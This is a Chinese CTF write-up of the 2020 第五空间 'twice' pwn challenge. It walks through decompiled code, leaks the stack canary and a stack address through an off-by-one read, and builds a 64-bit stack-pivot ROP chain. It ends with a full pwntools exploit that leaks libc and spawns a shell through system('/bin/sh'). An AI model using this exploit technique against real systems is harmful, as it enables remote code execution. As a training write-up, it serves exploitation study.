第五空间ctf2020pwn-twice

checsec

第五空间ctf2020pwn-twice_第1张图片

ida

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  for ( nCount = InitData(); (unsigned int)sub_4007A9(nCount); ++nCount )
    ;
  return 0;
}

sub_4007A9函数

// a1=ncount
__int64 __fastcall sub_4007A9(int a1)
{
  unsigned int v2; // [rsp+14h] [rbp-6Ch]
  int v3; // [rsp+18h] [rbp-68h]
  int v4; // [rsp+1Ch] [rbp-64h]
  char s[88]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 0x50uLL);
  putchar('>');
  v3 = sub_40076D(80);                          // if  nCount=1   v3=112  
                                                // else  v3=89
  if ( a1 )
  {
    if ( a1 != 1 )
      return 0LL;
    v2 = 0;
  }
  else
  {
    v2 = 1;
  }
  v4 = read(0, s, v3);
  puts(s);
  if ( !a1 )
    s[v4 - 1] = 0;
  return v2;
}

main函数中,给nCount赋初始值为0,进入sub_4007A9函数。在sub_4007A9函数中调用sub_40076D(80)函数,如果nCount=0,就会读入89个字节到s中,如果nCount=1,则会读入112个字节。
在这里插入图片描述

思路

s的长度为88,s字符串下面是canary,使用read(0, s, v3),来泄露cannary,以为read函数并不会自动在字符串后加入\x00,而canary最后一个字节为’\x00’,覆盖canary最后一个字节为字符a,即可泄露canary和栈上的地址,然后使用frame faking攻击。可参考ctf-wiki frame faking,只不过这道题是64位程序。
32位程序payload

buffer padding|fake ebp|leave ret addr|

构造的假的栈帧如下

fake ebp

ebp2|target function addr|leave ret addr|arg1|arg2

64位程序payload

buffer padding|fake ebp|leave ret addr|

构造的假的栈帧如下

fake ebp

ebp2|pop_rdi_ret|arg1|pop_rsi_ret|arg2|…target function addr|leave ret addr|

本题将fake ebp构造在栈上,而且返回地址我设置的是返回到_start函数0x400630
第五空间ctf2020pwn-twice_第2张图片

完整exp

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch='amd64'
binary="./pwn"
elf=ELF(binary)
sh=process(binary)
#sh=remote("121.36.59.116",9999)

leave_ret=0x0400879
pop_rdi=0x0400923
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

#gdb.attach(sh,"b *0x0400879")
sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00"))
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70 #stack_addr is our buf address

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")#112-104=8
payload=flat([stack_addr+0x60,pop_rdi,puts_got,puts_plt,0x0400630])  #这里返回地址是start函数地址
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
sh.send(payload)
sh.recvuntil("\n")
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
print "puts_addr: "+hex(puts_addr)

#leak libc 
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
#caculate system and bin_sh_str address
system_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
print "system_addr:"+hex(system_addr)
print "binsh_addr:"+hex(binsh_addr)

#leak again 
sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00"))
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70 #stack_addr is our buf address

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")#112-104=8
payload=flat([stack_addr+0x60,pop_rdi,binsh_addr,system_addr,0x0400630])
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
sh.send(payload)

sh.interactive()

get shell
第五空间ctf2020pwn-twice_第3张图片

你可能感兴趣的:(pwn)